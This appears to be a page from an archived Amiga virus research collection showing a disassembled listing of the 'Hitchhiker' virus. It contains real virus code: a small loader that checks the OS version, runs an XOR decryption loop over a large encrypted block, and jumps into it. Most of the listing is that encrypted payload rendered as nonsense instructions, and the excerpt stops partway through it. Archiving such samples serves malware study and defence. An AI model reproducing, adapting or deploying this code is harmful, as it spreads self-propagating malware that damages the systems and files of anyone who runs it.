home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSCOLLECTIE / H / HITCHHICKER / HITCHHICKER_2.ASM < prev    next >
Encoding:
Assembly Source File  |  1997-12-27  |  24.7 KB  |  1,034 lines

  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. EXT_0001    EQU    $3F4
  6. EXT_0002    EQU    $AA6
  7. EXT_0003    EQU    $5EF2
  8. EXT_0004    EQU    $7CD9
  9. EXT_0005    EQU    $E7844A6
  10. EXT_0006    EQU    $383A5104
  11. EXT_0007    EQU    $8617B93A
  12. EXT_0008    EQU    $E8F2C4C8
  13. EXT_0009    EQU    $EBCA3C38
  14. EXT_000A    EQU    $FFFF96F6
  15. EXT_000B    EQU    $FFFFA068
  16. EXT_000C    EQU    $FFFFB642
  17. EXT_000D    EQU    $FFFFB6B0
  18.  
  19.  
  20.  
  21.  
  22.     SECTION S_0,CODE
  23.  
  24. SECSTRT_0:
  25.     LINK    A5,#-20            ;000: 4E55FFEC
  26.     MOVEM.L    D7/A2-A3/A6,-(A7)    ;004: 48E70132
  27.     LEA    LAB_0004(PC),A0        ;008: 41FA0060
  28.     MOVEA    #$0004,A1        ;00C: 327C0004
  29.     MOVEA.L    (A1),A6            ;010: 2C51
  30.     MOVEA.L    276(A6),A3        ;012: 266E0114        ThisTask()
  31.     SUBA.L    A2,A2            ;016: 95CA
  32.     MOVE.L    A0,-16(A5)        ;018: 2B48FFF0
  33.     CMPI    #$0024,20(A6)        ;01C: 0C6E00240014    check version = 37
  34.     BCC.S    LAB_0000        ;022: 6404
  35.     MOVEQ    #20,D0            ;024: 7014        return code 20
  36.     BRA.S    LAB_0003        ;026: 603A        exit
  37. LAB_0000:
  38.     TST.L    172(A3)            ;028: 4AAB00AC        
  39.     BNE.S    LAB_0001        ;02C: 661A
  40.     LEA    92(A3),A0        ;02E: 41EB005C        at end of tc
  41.     MOVE.L    A0,16(A7)        ;032: 2F480010        on stack
  42.     BSR    LAB_0017        ;036: 61000128
  43.     JSR    -384(A6)        ;03A: 4EAEFE80
  44.     MOVEA.L    16(A7),A0        ;03E: 206F0010
  45.     JSR    -372(A6)        ;042: 4EAEFE8C
  46.     MOVEA.L    D0,A2            ;046: 2440
  47. LAB_0001:
  48.     BSR    LAB_0007        ;048: 61000058
  49.     MOVE.L    D0,D7            ;04C: 2E00
  50.     MOVE.L    A2,D0            ;04E: 200A
  51.     BEQ.S    LAB_0002        ;050: 670E
  52.     BSR    LAB_0017        ;052: 6100010C
  53.     JSR    -132(A6)        ;056: 4EAEFF7C
  54.     MOVEA.L    A2,A1            ;05A: 224A
  55.     JSR    -378(A6)        ;05C: 4EAEFE86
  56. LAB_0002:
  57.     MOVE.L    D7,D0            ;060: 2007
  58. LAB_0003:
  59.     MOVEM.L    (A7)+,D7/A2-A3/A6    ;062: 4CDF4C80
  60.     UNLK    A5            ;066: 4E5D
  61.     RTS                ;068: 4E75
  62. LAB_0004:
  63.     MOVEA.L    (A6),A2            ;06A: 2456
  64.     DC.W    $4552            ;06C
  65.     MOVE    -(A0),D5        ;06E: 3A20
  66.     MOVE.L    USP,A7            ;070: 4E6F
  67.     DC.W    $436C            ;072
  68.     DC.W    $6963            ;074
  69.     BMI.S    LAB_0006        ;076: 6B20
  70.     MOVE    12320(A6),-(A0)        ;078: 312E3020
  71.     DC.W    $6279            ;07C
  72.     MOVEA.L    D2,A0            ;07E: 2042
  73.     BSR.S    LAB_000B        ;080: 6172
  74.     MOVEQ    #32,D2            ;082: 7420
  75.     ADDQ    #3,-(A1)        ;084: 5661
  76.     BGT.S    LAB_0008+2        ;086: 6E20
  77.     DC.W    $4173            ;088
  78.     DC.W    $7363            ;08A
  79.     DC.W    $6865            ;08C
  80.     DC.W    $0000            ;08E
  81. LAB_0005:
  82.     MOVEQ    #114,D2            ;090: 7472
  83.     DC.W    $6163            ;092
  84.     BMI.S    LAB_000C        ;094: 6B64
  85.     DC.W    $6973            ;096
  86. LAB_0006:
  87.     BMI.S    LAB_0009        ;098: 6B2E
  88.     DC.W    $6465            ;09A
  89.     MOVEQ    #105,D3            ;09C: 7669
  90.     DC.W    $6365            ;09E
  91.     DC.W    $0000            ;0A0
  92. LAB_0007:
  93.     LINK    A5,#-22            ;0A2: 4E55FFEA
  94. LAB_0008:
  95.     MOVEM.L    D2/D6-D7/A2-A3/A6,-(A7)    ;0A6: 48E72332
  96.     MOVEQ    #0,D7            ;0AA: 7E00
  97.     MOVE    #$FFFF,-18(A5)        ;0AC: 3B7CFFFFFFEE
  98.     BSR    LAB_0017        ;0B2: 610000AC
  99.     JSR    -666(A6)        ;0B6: 4EAEFD66
  100.     MOVE.L    D0,24(A7)        ;0BA: 2F400018
  101.     TST.L    D0            ;0BE: 4A80
  102.     BEQ    LAB_0015        ;0C0: 67000090
  103.     MOVEA.L    D0,A0            ;0C4: 2040
  104.     MOVEQ    #48,D0            ;0C6: 7030
  105. LAB_0009:
  106.     JSR    -654(A6)        ;0C8: 4EAEFD72
  107.     MOVEA.L    D0,A2            ;0CC: 2440
  108.     MOVE.L    A2,D0            ;0CE: 200A
  109.     BEQ.S    LAB_0012        ;0D0: 6770
  110.     MOVEQ    #0,D6            ;0D2: 7C00
  111.     BRA.S    LAB_0011        ;0D4: 605A
  112. LAB_000A:
  113.     LEA    LAB_0005(PC),A0        ;0D6: 41FAFFB8
  114.     MOVE.L    D6,D0            ;0DA: 2006
  115.     MOVEA.L    A2,A1            ;0DC: 224A
  116.     MOVEQ    #1,D1            ;0DE: 7201
  117.     BSR    LAB_0017        ;0E0: 6100007E
  118.     JSR    -444(A6)        ;0E4: 4EAEFE44
  119.     TST.B    D0            ;0E8: 4A00
  120.     BNE.S    LAB_0010        ;0EA: 6642
  121.     MOVEA.L    24(A2),A0        ;0EC: 206A0018
  122.     ADDA    #$0035,A0        ;0F0: D0FC0035
  123. LAB_000B:
  124.     MOVEA.L    A0,A3            ;0F4: 2648
  125.     MOVE    -18(A5),D0        ;0F6: 302DFFEE
  126. LAB_000C:
  127.     TST    D0            ;0FA: 4A40
  128.     BPL.S    LAB_000D        ;0FC: 6A0E
  129.     MOVEQ    #0,D0            ;0FE: 7000
  130.     MOVE.B    (A3),D0            ;100: 1013
  131.     MOVE.L    D0,D1            ;102: 2200
  132.     MOVEQ    #1,D2            ;104: 7401
  133.     AND.L    D2,D1            ;106: C282
  134.     MOVE    D1,-18(A5)        ;108: 3B41FFEE
  135. LAB_000D:
  136.     TST    -18(A5)            ;10C: 4A6DFFEE
  137.     BEQ.S    LAB_000E        ;110: 6706
  138.     BCLR    #0,(A3)            ;112: 08930000
  139.     BRA.S    LAB_000F        ;116: 6004
  140. LAB_000E:
  141.     BSET    #0,(A3)            ;118: 08D30000
  142. LAB_000F:
  143.     MOVE    #$000E,28(A2)        ;11C: 357C000E001C
  144.     MOVEA.L    A2,A1            ;122: 224A
  145.     JSR    -456(A6)        ;124: 4EAEFE38
  146.     MOVEA.L    A2,A1            ;128: 224A
  147.     JSR    -450(A6)        ;12A: 4EAEFE3E
  148. LAB_0010:
  149.     ADDQ.L    #1,D6            ;12E: 5286
  150. LAB_0011:
  151.     MOVEQ    #4,D0            ;130: 7004
  152.     CMP.L    D0,D6            ;132: BC80
  153.     BLT.S    LAB_000A        ;134: 6DA0
  154.     MOVEA.L    A2,A0            ;136: 204A
  155.     BSR    LAB_0017        ;138: 61000026
  156.     JSR    -660(A6)        ;13C: 4EAEFD6C
  157.     BRA.S    LAB_0013        ;140: 6002
  158. LAB_0012:
  159.     MOVEQ    #10,D7            ;142: 7E0A
  160. LAB_0013:
  161.     MOVEA.L    24(A7),A0        ;144: 206F0018
  162.     BSR    LAB_0017        ;148: 61000016
  163. LAB_0014:
  164.     JSR    -672(A6)        ;14C: 4EAEFD60
  165.     BRA.S    LAB_0016        ;150: 6002
  166. LAB_0015:
  167.     MOVEQ    #10,D7            ;152: 7E0A
  168. LAB_0016:
  169.     MOVE.L    D7,D0            ;154: 2007
  170.     MOVEM.L    (A7)+,D2/D6-D7/A2-A3/A6    ;156: 4CDF4CC4
  171.     UNLK    A5            ;15A: 4E5D
  172.     BRA.S    LAB_0018        ;15C: 6012
  173.     DC.W    $0000            ;15E
  174. LAB_0017:
  175.     MOVE.L    (ABSEXECBASE).W,-(A7)    ;160: 2F380004
  176.     MOVEA.L    (A7)+,A6        ;164: 2C5F
  177.     CMPI    #$0025,20(A6)        ;166: 0C6E00250014    get version
  178.     BCC.S    LAB_0018        ;16C: 6402
  179.     RTS                ;16E: 4E75
  180. LAB_0018:
  181.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;170: 48E7FFFE
  182.     MOVEA.L    (ABSEXECBASE).W,A1    ;174: 22780004
  183.     MOVEA.L    A1,A6            ;178: 2C49
  184.     CMPI    #$0025,20(A6)        ;17A: 0C6E00250014    get version (again)
  185.     BCS.S    LAB_001A        ;180: 651A
  186.     MOVEQ    #90,D0            ;182: 705A
  187.     MOVE    #$06F5,D1        ;184: 323C06F5
  188.     MOVEQ    #2,D2            ;188: 7402
  189.     LEA    LAB_001B(PC),A1        ;18A: 43FA0016
  190. LAB_0019:
  191.     EOR.B    D0,(A1)+        ;18E: B119
  192.     SUB.B    D2,D0            ;190: 9002
  193.     DBF    D1,LAB_0019        ;192: 51C9FFFA
  194.     JSR    -636(A6)        ;196: 4EAEFD84
  195.     BRA.S    LAB_001B        ;19A: 6006
  196. LAB_001A:
  197.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;19C: 4CDF7FFF
  198.     RTS                ;1A0: 4E75
  199. LAB_001B:
  200.     DC.W    $56F6            ;1A2
  201.     DC.W    $FDEE            ;1A4
  202.     DC.W    $A8E4            ;1A6
  203.     DC.W    $4C4E            ;1A8
  204.     DC.W    $2D72            ;1AA
  205.     TAS    -1892(A2)        ;1AC: 4AEAF89C
  206.     MOVE    (A1),EXT_0006        ;1B0: 33D1383A5104
  207.     DC.W    $120C            ;1B6
  208.     MOVE.L    14752(A4),D7        ;1B8: 2E2C39A0
  209.     ADDQ.B    #2,-(A6)        ;1BC: 5426
  210.     BGE.S    LAB_0014+2        ;1BE: 6C8E
  211.     ASL.B    D0,D6            ;1C0: E126
  212.     ADDQ.L    #8,(A0)+        ;1C2: 5098
  213.     DC.W    $7134            ;1C4
  214.     MOVEA    (A0),A3            ;1C6: 3650
  215.     DC.W    $4DF6            ;1C8
  216.     DC.W    $F59E            ;1CA
  217.     MOVE    (EXT_0001).W,D2        ;1CC: 343803F4
  218.     ADD.B    -(A5),D5        ;1D0: DA25
  219.     DC.W    $AB31            ;1D2
  220.     MOVEP    -11600(A0),D4        ;1D4: 0908D2B0
  221.     DC.W    $AD16            ;1D8
  222.     DC.W    $EACC            ;1DA
  223.     DC.W    $A31E            ;1DC
  224.     MOVE.B    -(A2),19734(A6)        ;1DE: 1D624D16
  225.     BTST    D4,(A0)            ;1E2: 0910
  226.     SUB    D5,D4            ;1E4: 9845
  227.     SUB.B    D0,12630(A2)        ;1E6: 912A3156
  228.     DC.W    $D9B4            ;1EA
  229.     MULU    D4,D3            ;1EC: C6C4
  230.     MULU    D1,D1            ;1EE: C2C1
  231.     DIVS    D0,D6            ;1F0: 8DC0
  232. LAB_001C:
  233.     CMP.L    (EXT_000D).W,D5        ;1F2: BAB8B6B0
  234.     DC.W    $A1CC            ;1F6
  235.     DC.W    $AEAC            ;1F8
  236.     DC.W    $AAAF            ;1FA
  237.     DC.W    $C63A            ;1FC
  238.     ROL    #5,D2            ;1FE: EB5A
  239.     SUB.B    (A0)+,D4        ;200: 9818
  240.     ADD.B    D4,D4            ;202: D804
  241.     ADDA    D0,A2            ;204: D4C0
  242.     ADD    D3,-30548(A2)        ;206: D76A88AC
  243.     ASL.L    D5,D0            ;20A: EBA0
  244.     ASL.L    #3,D4            ;20C: E784
  245.     OR.B    D3,(A0)            ;20E: 8710
  246.     DC.W    $1F7E            ;210
  247.     MOVE    A5,D2            ;212: 340D
  248.     DC.W    $358E            ;214
  249.     DC.W    $7798            ;216
  250.     CLR.B    (A4)            ;218: 4214
  251.     BPL.S    LAB_001F        ;21A: 6A6C
  252.     DC.W    $460A            ;21C
  253.     BLS.S    LAB_001D        ;21E: 631A
  254.     DC.W    $10F2            ;220
  255.     DC.W    $A4B4            ;222
  256.     MOVE.B    (A4),(A6)+        ;224: 1CD4
  257.     MOVE    (A2)+,3510(A2)        ;226: 355A0DB6
  258.     DC.W    $4C7E            ;22A
  259.     BCC.S    LAB_001C        ;22C: 64C4
  260.     DC.W    $6000            ;22E
  261.     SUBQ.B    #7,-(A2)        ;230: 5F22
  262.     MOVEQ    #77,D2            ;232: 744D
  263.     DC.W    $4633            ;234
  264.     MOVE    D2,D7            ;236: 3E02
  265.     MOVE.L    (A5),D7            ;238: 2E15
  266. LAB_001D:
  267.     MOVE.L    16674(A0),D1        ;23A: 22284122
  268.     MOVEQ    #18,D0            ;23E: 7012
  269.     MOVE.B    (A4)+,D3        ;240: 161C
  270.     ADDQ    #2,936(A5)        ;242: 546D03A8
  271.     MOVE.B    -(A0),D1        ;246: 1220
  272.     DC.W    $060C            ;248
  273.     SMI    D0            ;24A: 5BC0
  274.     DC.W    $F9EE            ;24C
  275.     DC.W    $4C75            ;24E
  276.     DC.W    $F295            ;250
  277.     CMP.B    D1,D2            ;252: B401
  278.     BCLR    D4,(A6)+        ;254: 099E
  279.     SUBA    -(A0),A2        ;256: 94E0
  280.     DC.W    $A916            ;258
  281.     ROL.B    #4,D4            ;25A: E91C
  282.     DC.W    $A31E            ;25C
  283.     ROXR    -(A6)            ;25E: E4E6
  284.     DC.W    $FA75            ;260
  285.     DC.W    $25B4            ;262
  286.     DC.W    $F59F            ;264
  287. LAB_001E:
  288.     DC.W    $2DBC            ;266
  289.     AND.L    -(A5),D1        ;268: C2A5
  290.     DC.W    $8431            ;26A
  291.     MOVE    (A4),-(A4)        ;26C: 3914
  292.     DC.W    $A4D0            ;26E
  293.     DC.W    $F946            ;270
  294.     EOR    D4,(A2)            ;272: B952
  295.     DC.W    $F34E            ;274
  296.     EOR    D3,D2            ;276: B742
  297.     OR.B    D5,D5            ;278: 8A05
  298.     DC.W    $557A            ;27A
  299.     DIVS    23922(A7),D2        ;27C: 85EF5D72
  300.     DC.W    $FF96            ;280
  301.     CMPA.L    -(A4),A3        ;282: B7E4
  302.     MOVEA.L    A0,A6            ;284: 2C48
  303.     DC.W    $9F7D            ;286
  304. LAB_001F:
  305.     DC.W    $8C8E            ;288
  306.     DC.W    $C4FD            ;28A
  307.     AND.B    D4,D2            ;28C: C404
  308.     DC.W    $A2C9            ;28E
  309.     LINK    A4,#31336        ;290: 4E547A68
  310.     SUB.B    #$70,D2            ;294: 943C0070
  311.     DC.W    $0E6E            ;298
  312.     DC.W    $B808            ;29A
  313.     DC.W    $37AC            ;29C
  314.     SUB.L    D6,(A4)+        ;29E: 9D9C
  315.     DC.W    $6D1D            ;2A0
  316.     ADDQ    #5,D4            ;2A2: 5A44
  317.     MOVE.B    -(A1),D4        ;2A4: 1821
  318.     MOVEQ    #42,D7            ;2A6: 7E2A
  319.     LEA    9(A4,D6.L),A5        ;2A8: 4BF46809
  320.     DC.W    $05BE            ;2AC
  321.     DC.W    $47FE            ;2AE
  322.     DC.W    $1CBD            ;2B0
  323.     DC.W    $4EC6            ;2B2
  324.     MOVEQ    #-102,D4        ;2B4: 789A
  325.     AND.L    D6,(A4)+        ;2B6: CD9C
  326.     BCC.S    LAB_001E        ;2B8: 64AC
  327.     DC.W    $4D28            ;2BA
  328.     MOVE.L    A2,-(A3)        ;2BC: 270A
  329.     DC.W    $0020            ;2BE
  330.     SLT    -(A6)            ;2C0: 5DE6
  331.     DC.W    $1FAE            ;2C2
  332.     MOVE    (A5),(A2)        ;2C4: 3495
  333. LAB_0020:
  334.     MOVE    2980(A2),D3        ;2C6: 362A0BA4
  335.     NEG.L    -(A6)            ;2CA: 44A6
  336.     DC.W    $F98A            ;2CC
  337.     EXT    D0            ;2CE: 4880
  338.     SUBA.L    #$FBE0D48E,A4        ;2D0: 99FCFBE0D48E
  339.     DC.W    $F76A            ;2D6
  340.     ASR    #1,D5            ;2D8: E245
  341.     DC.W    $EAE8            ;2DA
  342.     ROXR.L    D3,D6            ;2DC: E6B6
  343.     LSR    -18212(A0)        ;2DE: E2E8B8DC
  344.     ADDA.L    (A0),A5            ;2E2: DBD0
  345.     DC.W    $F6FD            ;2E4
  346.     ADDA    (A4)+,A1        ;2E6: D2DC
  347.     ADDQ    #7,-(A5)        ;2E8: 5E65
  348.     MULU    (A0)+,D5        ;2EA: CAD8
  349.     MOVEQ    #120,D3            ;2EC: 7678
  350.     MULU    D0,D1            ;2EE: C2C0
  351.     DC.W    $BEB6            ;2F0
  352.     ADD.L    D7,(EXT_000C).W        ;2F2: DFB8B642
  353.     SUB.L    D6,(A1)+        ;2F6: 9D99
  354.     DC.W    $AEA0            ;2F8
  355.     OR.L    (A2),D4            ;2FA: 8892
  356.     DC.W    $A3D8            ;2FC
  357.     OR.L    -12238(A1),D3        ;2FE: 86A9D032
  358.     BCS.S    LAB_0021+2        ;302: 6502
  359. LAB_0021:
  360.     CMPA    -26630(A6),A2        ;304: B4EE97FA
  361.     DC.W    $AC93            ;308
  362.     DC.W    $3834            ;30A
  363.     OR.L    D4,D3            ;30C: 8684
  364.     SUBA.L    D0,A6            ;30E: 9DC0
  365.     DC.W    $1A72            ;310
  366.     MOVEQ    #-47,D3            ;312: 76D1
  367.     MOVEQ    #116,D3            ;314: 7674
  368.     DC.W    $F270            ;316
  369.     BGT.S    LAB_0023        ;318: 6E10
  370.     DC.W    $0E68            ;31A
  371.     BNE.S    LAB_0020+2        ;31C: 66AA
  372.     ANDI    #$52F5,23130(A4)    ;31E: 026C52F55A5A
  373.     ADDQ    #3,(A4)            ;324: 5654
  374. LAB_0022:
  375.     ADDQ.B    #1,10828(A4)        ;326: 522C2A4C
  376. LAB_0023:
  377.     DC.W    $4A88            ;32A
  378.     DC.W    $03BE            ;32C
  379.     DC.W    $4712            ;32E
  380.     MOVE.B    (A5),(A5)        ;330: 1A95
  381.     MOVEA    D4,A5            ;332: 3A44
  382.     DC.W    $140E            ;334
  383.     MOVE    -126(A2,D6.W),-10866(A3) ;336: 37726082D58E
  384.     DC.W    $041E            ;33C
  385.     MOVE.L    A6,-(A3)        ;33E: 270E
  386.     ADDQ.L    #6,(A6)+        ;340: 5C9E
  387.     DC.W    $54B6            ;342
  388.     ROXL    #4,D2            ;344: E952
  389.     MOVEA    3592(A0),A7        ;346: 3E680E08
  390.     MOVEQ    #9,D4            ;34A: 7809
  391.     DC.W    $263E            ;34C
  392.     DC.W    $0732            ;34E
  393.     ADDA    D6,A5            ;350: DAC6
  394.     DC.W    $FFDA            ;352
  395.     DC.W    $2676            ;354
  396.     CMP    (A6)+,D6        ;356: BC5E
  397.     MOVE.B    (A6),(EXT_000B).W    ;358: 11D6A068
  398.     DIVS    -(A4),D0        ;35C: 81E4
  399.     LSR    D1,D4            ;35E: E26C
  400.     SUB.B    D6,-(A6)        ;360: 9D26
  401.     ADDA.L    D2,A7            ;362: DFC2
  402.     DC.W    $F454            ;364
  403.     DC.W    $F6EC            ;366
  404.     DC.W    $CECC            ;368
  405.     AND.B    D4,-(A4)        ;36A: C924
  406.     DC.W    $E4FE            ;36C
  407.     DC.W    $C63E            ;36E
  408.     SUBA    D6,A1            ;370: 92C6
  409.     CMP    (A6),D7            ;372: BE56
  410.     DC.W    $F81A            ;374
  411.     DC.W    $4D52            ;376
  412.     LSR.B    D2,D4            ;378: E42C
  413.     DC.W    $CDF6            ;37A
  414.     ROL    #2,D6            ;37C: E55E
  415.     DC.W    $A65A            ;37E
  416.     CMP.B    (A4)+,D6        ;380: BC1C
  417.     CMP.L    (A0)+,D4        ;382: B898
  418.     CMP.L    -27034(A6),D1        ;384: B2AE9666
  419.     DC.W    $A6B6            ;388
  420.     OR    -(A2),D7        ;38A: 8E62
  421.     ADDQ.B    #1,D0            ;38C: 5200
  422.     DC.W    $A4BA            ;38E
  423.     MOVEQ    #-116,D5        ;390: 7A8C
  424.     MOVE    (A6),(A2)+        ;392: 34D6
  425.     OR.L    D4,-(A2)        ;394: 89A2
  426.     ADDQ    #8,A2            ;396: 504A
  427.     BPL.S    LAB_0022        ;398: 6A8C
  428.     DC.W    $1E68            ;39A
  429.     MOVE.B    (A3)+,(A0)        ;39C: 109B
  430.     MOVE.L    A6,(A6)+        ;39E: 2CCE
  431.     DC.W    $A1E2            ;3A0
  432.     MOVE    A2,-(A5)        ;3A2: 3B0A
  433.     MOVEA    D2,A0            ;3A4: 3042
  434.     MOVEQ    #106,D0            ;3A6: 706A
  435.     TST.L    (A4)+            ;3A8: 4A9C
  436.     BGT.S    LAB_0027        ;3AA: 6E72
  437.     CLR.L    (A4)            ;3AC: 4294
  438.     BCC.S    LAB_0028        ;3AE: 647A
  439.     MOVE    4610(A4),(A5)+        ;3B0: 3AEC1202
  440.     DC.W    $32F4            ;3B4
  441.     ROXR.L    D2,D4            ;3B6: E4B4
  442.     DC.W    $4F2C            ;3B8
  443.     MOVE.L    -(A6),(A4)        ;3BA: 28A6
  444.     DC.W    $041E            ;3BC
  445.     MOVE.L    (A2)+,(A3)        ;3BE: 269A
  446.     DC.W    $50B2            ;3C0
  447.     DC.W    $E5C4            ;3C2
  448.     DC.W    $7732            ;3C4
  449. LAB_0024:
  450.     MOVE    EXT_0005,D3        ;3C6: 36390E7844A6
  451.     DC.W    $F942            ;3CC
  452.     BLS.S    LAB_0025        ;3CE: 631C
  453.     EOR.B    D6,(A5)            ;3D0: BD15
  454.     DC.W    $FA7C            ;3D2
  455.     DC.W    $D2FD            ;3D4
  456.     CMP    (A6)+,D6        ;3D6: BC5E
  457.     MOVE.B    (A0)+,(A0)        ;3D8: 1098
  458.     AND.L    (A0),D3            ;3DA: C690
  459.     ROR    -(A0)            ;3DC: E6E0
  460.     MULU    (A2)+,D1        ;3DE: C2DA
  461.     ADD    #$F8A2,D5        ;3E0: DA7CF8A2
  462.     ADD    A4,D1            ;3E4: D24C
  463.     DC.W    $9C7E            ;3E6
  464.     DC.W    $31E2            ;3E8
  465.     DC.W    $84BD            ;3EA
  466. LAB_0025:
  467.     ROR.L    D2,D6            ;3EC: E4BE
  468.     AND    D2,D3            ;3EE: C642
  469.     SUB.L    D6,D6            ;3F0: 9C86
  470.     CMPA    D2,A7            ;3F2: BEC2
  471.     DC.W    $F8C1            ;3F4
  472.     SUBA    A2,A0            ;3F6: 90CA
  473.     DC.W    $AA28            ;3F8
  474.     DIVU    -(A1),D7        ;3FA: 8EE1
  475.     OR.L    (A6)+,D2        ;3FC: 849E
  476.     DC.W    $A6D6            ;3FE
  477.     DC.W    $4B5D            ;400
  478.     DC.W    $B8B2            ;402
  479.     SUB.L    (A4)+,D3        ;404: 969C
  480.     AND.B    (A1),D0            ;406: C011
  481.     DC.W    $FA88            ;408
  482.     DC.W    $A852            ;40A
  483.     ADDX    -(A6),-(A3)        ;40C: D74E
  484.     DC.W    $7D7C            ;40E
  485.     ADDQ.L    #6,-(A6)        ;410: 5CA6
  486.     DC.W    $2BB1            ;412
  487.     DC.W    $8988            ;414
  488.     MOVEQ    #-39,D7            ;416: 7ED9
  489.     BGT.S    LAB_002A        ;418: 6E6C
  490. LAB_0026:
  491.     DC.W    $6981            ;41A
  492.     SUB.L    D4,(A4)+        ;41C: 999C
  493. LAB_0027:
  494.     BCHG    D2,-(A4)        ;41E: 0564
  495.     MOVE.L    -(A3),(A7)        ;420: 2EA3
  496.     MOVE.B    29821(A5),D2        ;422: 142D747D
  497.     DC.W    $ADAC            ;426
  498.     DC.W    $6245            ;428
  499. LAB_0028:
  500.     DC.W    $6C49            ;42A
  501.     DC.W    $15C5            ;42C
  502.     BRA.S    LAB_0024+4        ;42E: 609A
  503.     DC.W    $6FF5            ;430
  504.     MULS    D4,D2            ;432: C5C4
  505.     DC.W    $140E            ;434
  506.     MOVE    A6,D3            ;436: 360E
  507.     AND    -(A5),D5        ;438: CA65
  508.     DC.W    $0E29            ;43A
  509.     DC.W    $75A5            ;43C
  510.     BCS.S    LAB_0026        ;43E: 65DA
  511.     DC.W    $1A44            ;440
  512.     MOVE    (A1),D1            ;442: 3211
  513.     MOVE    A7,(A2)+        ;444: 34CF
  514.     DC.W    $43D9            ;446
  515.     DC.W    $F1F0            ;448
  516.     MOVEA.L    A6,A4            ;44A: 284E
  517.     DC.W    $227E            ;44C
  518.     DC.W    $062E            ;44E
  519.     EOR.B    D5,(A6)            ;450: BB16
  520.     DC.W    $FAEC            ;452
  521.     DC.W    $97F4            ;454
  522.     DC.W    $F1FC            ;456
  523.     AND.L    -(A5),D3        ;458: C6A5
  524.     DC.W    $C4EC            ;45A
  525.     BCHG    D2,-(A7)        ;45C: 0567
  526.     DIVU    -(A0),D1        ;45E: 82E0
  527.     ADD    (A4)+,D6        ;460: DC5C
  528.     DC.W    $923F            ;462
  529.     DC.W    $A92A            ;464
  530. LAB_0029:
  531.     SUB.B    D2,-13604(A2)        ;466: 952ACADC
  532.     LSR    #6,D1            ;46A: EC49
  533.     ASL.L    #8,D7            ;46C: E187
  534.     DC.W    $C2C8            ;46E
  535.     DC.W    $9CFE            ;470
  536.     DC.W    $9EF1            ;472
  537.     SUB.L    A6,D7            ;474: 9E8E
  538.     DC.W    $B6BE            ;476
  539.     AND.L    -21572(A4),D4        ;478: C8ACABBC
  540.     DC.W    $AA35            ;47C
  541.     DC.W    $A2A0            ;47E
  542.     SUB    D6,-770(A7)        ;480: 9D6FFCFE
  543.     DC.W    $BEBD            ;484
  544. LAB_002A:
  545.     SUB.L    (A0)+,D1        ;486: 9298
  546.     DC.W    $A488            ;488
  547.     DC.W    $D00C            ;48A
  548.     ADD.B    D1,D4            ;48C: D801
  549.     DC.W    $6705            ;48E
  550.     DC.W    $3986            ;490
  551.     MOVEQ    #122,D7            ;492: 7E7A
  552.     DC.W    $50F1            ;494
  553.     DC.W    $97F4            ;496
  554.     DC.W    $BDA8            ;498
  555.     DC.W    $66F9            ;49A
  556.     BNE.S    LAB_002D        ;49C: 6664
  557.     DC.W    $6189            ;49E
  558.     MOVE    (A4),D4            ;4A0: 3814
  559.     MOVEQ    #113,D1            ;4A2: 7271
  560.     ADDQ    #3,(A0)            ;4A4: 5650
  561.     CMPA.L    (A4),A3            ;4A6: B7D4
  562.     SUBA    A1,A3            ;4A8: 96C9
  563.     DC.W    $0DB2            ;4AA
  564.     CHK    -(A0),D2        ;4AC: 45A0
  565.     DC.W    $00D3            ;4AE
  566.     DC.W    $79C6            ;4B0
  567.     DC.W    $39E2            ;4B2
  568.     DC.W    $10B0            ;4B4
  569.     SUBQ    #1,A2            ;4B6: 534A
  570.     BCC.S    LAB_0029        ;4B8: 64AC
  571.     DC.W    $4D06            ;4BA
  572.     DC.W    $021E            ;4BC
  573.     DC.W    $219E            ;4BE
  574. LAB_002B:
  575.     DIVS    (A6),D6            ;4C0: 8DD6
  576.     MOVEA    (A2)+,A7        ;4C2: 3E5A
  577.     MULS    (A6)+,D2        ;4C4: C5DE
  578.     DC.W    $A494            ;4C6
  579.     BMI.S    LAB_002E        ;4C8: 6B48
  580.     MOVE.L    A4,D6            ;4CA: 2C0C
  581.     DC.W    $4EE3            ;4CC
  582. LAB_002C:
  583.     DC.W    $7D00            ;4CE
  584.     SUBA.L    #$FB0491E8,A7        ;4D0: 9FFCFB0491E8
  585.     CMP.B    -4590(A7),D7        ;4D6: BE2FEE12
  586.     DC.W    $A637            ;4DA
  587.     SUB.B    D4,(A2)+        ;4DC: 991A
  588.     DIVS    -(A0),D1        ;4DE: 83E0
  589.     DC.W    $DFB4            ;4E0
  590.     CMPA.L    (A0)+,A5        ;4E2: BBD8
  591.     ADD    D0,D3            ;4E4: D640
  592.     DC.W    $F2D3            ;4E6
  593.     OR.L    EXT_0007,D0        ;4E8: 80B98617B93A
  594.     DC.W    $A2C0            ;4EE
  595.     CMPA.L    -(A4),A7        ;4F0: BFE4
  596.     ROXR.B    D5,D1            ;4F2: EA31
  597.     DC.W    $F35E            ;4F4
  598.     CMP.L    -(A4),D1        ;4F6: B2A4
  599.     AND.L    D7,-22336(A4)        ;4F8: CFACA8C0
  600.     ROR    D5,D3            ;4FC: EA7B
  601.     DC.W    $A25E            ;4FE
  602.     DC.W    $FF9C            ;500
  603. LAB_002D:
  604.     SUBA.L    -2074(A6),A5        ;502: 9BEEF7E6
  605.     ADD    A7,D7            ;506: DE4F
  606.     DC.W    $F172            ;508
  607.     DC.W    $AA8B            ;50A
  608.     DC.W    $C8F1            ;50C
  609.     MOVE    D3,D4            ;50E: 3803
  610.     DC.W    $1AB4            ;510
  611. LAB_002E:
  612.     DC.W    $9EF5            ;512
  613.     DC.W    $25F1            ;514
  614.     DC.W    $C8CC            ;516
  615.     BGT.S    LAB_0033+2        ;518: 6E6C
  616.     BMI.S    LAB_0031        ;51A: 6B44
  617.     DC.W    $02D8            ;51C
  618.     DC.W    $259A            ;51E
  619.     SUBQ.B    #6,(EXT_0004).W        ;520: 5D387CD9
  620.     MOVEQ    #46,D0            ;524: 702E
  621. LAB_002F:
  622.     SUBQ.B    #8,(A2)+        ;526: 511A
  623.     BNE.S    LAB_0030        ;528: 660E
  624.     BGE.S    LAB_002B        ;52A: 6C94
  625.     DC.W    $1789            ;52C
  626.     DC.W    $BDBC            ;52E
  627.     ADDQ    #7,D2            ;530: 5E42
  628.     MOVEQ    #-33,D1            ;532: 72DF
  629.     DC.W    $49CA            ;534
  630.     DC.W    $1E48            ;536
  631. LAB_0030:
